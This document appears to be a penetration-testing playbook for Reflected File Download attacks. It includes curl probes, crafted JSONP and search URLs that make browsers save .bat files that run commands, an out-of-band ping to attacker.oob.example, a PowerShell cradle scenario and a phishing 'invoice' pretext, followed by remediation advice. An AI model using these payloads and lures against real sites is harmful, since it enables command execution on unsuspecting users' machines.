Performing Reflected File Download
When to Use
- During authorized penetration tests of applications that reflect user input into responses (especially JSON/JSONP APIs)
- When an endpoint accepts a value (callback, query param, search term, username) and echoes it into the response body
- When the URL path or a parameter can control the filename and extension the browser uses when saving the response
- For validating that downloads are forced to safe filenames/extensions and proper
Content-Dispositionhandling - During bug bounty programs targeting RFD, which chains reflection + content-disposition + permissive routing into client-side command execution
Prerequisites
- Authorization: Written penetration testing agreement covering social-engineering/client-side payloads
- A modern browser matrix: RFD behavior depends on browser download handling (test Chrome, Edge, and IE-derived behaviors)
- A controlled victim VM (Windows): To safely detonate
.bat/.cmdpayloads - Burp Suite or curl: For crafting requests and inspecting
Content-Type/Content-Disposition - Understanding of the three RFD conditions: reflection, filename control, and permissive content handling
Critical: Checks Most Often Missed
RFD requires three conditions to line up; testers miss it because each looks harmless alone. Confirm all three, then weaponize:
- (1) Reflection of raw input into the body. The endpoint must echo your
input largely unescaped — JSON APIs and JSONP callbacks are prime, e.g.
{"q":"<your input>"}oryourCallback({...}). The reflection does not need to be HTML; it just needs to start the file with valid shell content. - (2) Filename + extension control via the URL. Browsers often derive the
saved filename from the last path segment. Append a path suffix like
/setup.bator use;/filename.bat,%2Ffilename.bat, or adownload=...batparam. Test whether the trailing path is ignored by routing but used by the browser for the filename — the classic RFD gap. - (3) Permissive content handling. Missing or weak
Content-Disposition(nofilename=/ notattachment),Content-Type: application/jsonserved withoutnosniff, or any setup that lets the browser save the response as an executable extension. - Leading command callback in the reflection. The reflected value must be
first on the line so the
.batis valid, e.g. prefix with||calc||or;calc.exe&&—{"q":"||calc||..."}ignores the JSON wrapper as a label and runs your command. - JSONP callback is the cleanest sink.
?callback=||calc||yields||calc||({...})which, saved asdata.bat, executescalc. Always probe thecallback/jsonp/cb/funcparameter. - Batched commands & quoting. Chain with
&,&&,|,||and quote to survive the reflected JSON punctuation, e.g.||calc&&ping%20attacker||to prove arbitrary execution. X-Content-Type-Options: nosniffis NOT a full fix. It mitigates some cases but RFD still works when the filename/extension is attacker-controlled and the user runs the file. The real fix is forced filenames +attachment.- Confirm in a browser, not just curl. The vulnerability is the browser's save-as-name and the user running it — curl confirms reflection and headers, but detonation must be validated by actually downloading and executing.
Workflow
Step 1: Find Reflective Endpoints
Locate endpoints that echo input into the response body.
# Hunt for reflection in JSON / JSONP / API responses through Burp history.
# Inject a unique marker and grep for it verbatim in the response:
MARK="rfdMARK1337"
curl -s "https://target.example.com/api/search?q=$MARK" | grep -o "$MARK"
curl -s "https://target.example.com/api/profile?name=$MARK" | grep -o "$MARK"
# JSONP callbacks are ideal — the callback name is reflected at the very start:
curl -s "https://target.example.com/api/data?callback=$MARK" | head -c 200
# Expect: rfdMARK1337({"status":"ok", ...})
# Note the response headers (this decides exploitability):
curl -s -D - "https://target.example.com/api/data?callback=$MARK" -o /dev/null
# Inspect: Content-Type, Content-Disposition, X-Content-Type-Options
Step 2: Test Filename / Extension Control
Determine whether the browser will save the response with an attacker-chosen executable name.
# (a) Trailing path segment — does routing ignore /anything.bat while the
# browser uses it as the download filename?
curl -s -D - "https://target.example.com/api/data/setup.bat?callback=foo" -o /dev/null
# 200 OK with the same body => path suffix ignored by app, used by browser
# (b) Matrix/semicolon and encoded-slash variants:
https://target.example.com/api/data;/setup.bat?callback=foo
https://target.example.com/api/data%2Fsetup.bat?callback=foo
https://target.example.com/api/data/x.bat;jsessionid=1?callback=foo
# (c) A download/filename parameter, if present:
https://target.example.com/export?download=invoice.bat&q=foo
# (d) Check Content-Disposition: if it sets a fixed safe filename you are
# blocked; if absent or attacker-influenced, RFD is viable:
curl -s -D - "https://target.example.com/api/data/setup.bat?callback=foo" \
-o /dev/null | grep -i content-disposition
Step 3: Craft the Leading-Command Reflection
Make the reflected input the first bytes of a valid Windows batch file.
# JSONP: the callback is reflected first, so a batch command runs before the
# parser ever sees the JSON. Saved as setup.bat, this launches calc:
https://target.example.com/api/data/setup.bat?callback=||calc||
# Resulting downloaded file (setup.bat) content:
# ||calc||({"status":"ok", ... })
# cmd.exe treats ||calc|| as: (run nothing) || calc || (run nothing) => calc runs
# Reflected-search variant where input lands inside JSON:
https://target.example.com/api/search/report.bat?q=;calc.exe&&
# File content:
# {"q":";calc.exe&& ...","results":[]}
# The leading ;calc.exe&& executes; the JSON remainder errors harmlessly.
# Batched commands to prove arbitrary execution (use benign markers):
?callback=||calc%26%26ping%20-n%201%20attacker.oob.example||
# decoded: ||calc&&ping -n 1 attacker.oob.example||
Step 4: Confirm Download Behavior in a Browser
Validate that the browser saves the attacker-named file and that it executes.
# On the victim VM, open the crafted URL in the target browser:
https://target.example.com/api/data/setup.bat?callback=||calc||
# Observe:
# - The download is offered as "setup.bat" (attacker-controlled name)
# - Content-Disposition does not force a safe name / extension
# - Running the downloaded setup.bat launches calc.exe
# Record the browser + version, since download-naming heuristics differ:
# - Chrome/Edge: filename from final path segment when no C-D filename
# - IE/legacy: historically the most permissive for RFD
Step 5: Build the Delivery / Social-Engineering Chain
Demonstrate realistic impact: a link that appears to originate from the trusted domain.
# The exploit URL is on the TRUSTED target domain, which is what makes RFD
# convincing — the victim sees target.example.com and a familiar-looking file.
Phishing pretext example:
"Download your invoice: https://target.example.com/api/data/Invoice_2024.bat?callback=||calc||"
# Optional: URL-encode the payload and use a shortener-free, on-domain link so
# URL filters and the user both trust the origin. Document the full kill chain:
# trusted-domain link -> browser saves Invoice_2024.bat -> user runs it ->
# leading command executes -> attacker code runs in the user's context.
Key Concepts
| Concept | Description |
|---|---|
| Reflection | The endpoint echoes attacker input into the response body (JSON/JSONP ideal) |
| Filename control | Browser derives the saved filename from a path segment or parameter the attacker sets |
| Permissive content | Missing/weak Content-Disposition or sniffable Content-Type allows saving as .bat/.cmd |
| Leading command | Reflected value placed first so the file is a valid batch script (` |
| JSONP sink | ?callback= reflects at the very start of the body, the cleanest RFD primitive |
| Trusted-origin delivery | The exploit URL is on the real target domain, increasing victim trust |
| Batched commands | &, &&, |, || chain multiple commands within the reflected line |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | Discover reflection points, tamper paths/params, inspect response headers |
| curl | Confirm reflection, filename routing, and Content-Disposition/Content-Type headers |
| Chrome / Edge / legacy IE | Validate browser-specific download naming and execution behavior |
| Windows victim VM | Safely detonate .bat/.cmd payloads and confirm command execution |
| Burp Collaborator / interactsh | Confirm batched command callbacks (ping/nslookup to OOB host) |
Common Scenarios
Scenario 1: JSONP API RFD
An analytics endpoint /api/data?callback=... reflects the callback at the start of the response. Requesting /api/data/update.bat?callback=||calc|| causes the browser to save update.bat; running it executes calc.exe in the victim's context.
Scenario 2: Search Reflection with Path-Based Filename
A search API reflects q into JSON and ignores trailing path segments. /api/search/report.bat?q=;powershell ...&& downloads report.bat whose leading command runs a PowerShell cradle.
Scenario 3: Missing Content-Disposition on Export
An export endpoint returns JSON with no Content-Disposition. The attacker controls the path filename, so /export/Statement.cmd?... saves as an executable that runs on double-click.
Scenario 4: Permissive Routing + nosniff Present
Even with X-Content-Type-Options: nosniff, attacker-controlled filename/extension plus user execution yields RFD, because the user runs the file regardless of MIME sniffing.
Output Format
## Reflected File Download Finding
**Vulnerability**: Reflected File Download (RFD)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/data/{filename}.bat?callback=...
**OWASP Category**: A03:2021 - Injection (client-side command execution)
### Reproduction Steps
1. Confirm reflection: GET /api/data?callback=rfdMARK1337 echoes the callback at body start
2. Confirm filename control: GET /api/data/setup.bat?callback=foo returns 200 with same body
3. Confirm headers: no Content-Disposition: attachment with a fixed filename
4. Weaponize: open https://target.example.com/api/data/setup.bat?callback=||calc|| in Chrome
5. Browser saves setup.bat; executing it launches calc.exe
### Conditions Met
| Condition | Status | Evidence |
|-----------|--------|----------|
| Reflection of input | Yes | callback echoed verbatim at body start |
| Filename/extension control | Yes | /setup.bat path segment used as download name |
| Permissive content handling | Yes | no attachment Content-Disposition; sniffable type |
### Downloaded File Content (setup.bat)
||calc||({"status":"ok","data":[]})
### Impact
- Arbitrary command execution on the victim's machine when the file is run
- Delivery from the trusted target.example.com origin defeats user URL scrutiny
- Batched commands confirmed via OOB callback (ping to attacker.oob.example)
### Recommendation
1. Force downloads with Content-Disposition: attachment; filename="data.json"
and a fixed, safe extension the application controls.
2. Reject or sanitize trailing path segments and download/filename parameters.
3. Refuse callback/JSONP names that are not strict identifiers
(^[a-zA-Z_$][a-zA-Z0-9_$]*$); disable JSONP in favor of CORS where possible.
4. Set Content-Type: application/json and X-Content-Type-Options: nosniff.
5. Prefix reflected JSON bodies with an anti-execution guard
(e.g. )]}',\n) so the file is never a valid script.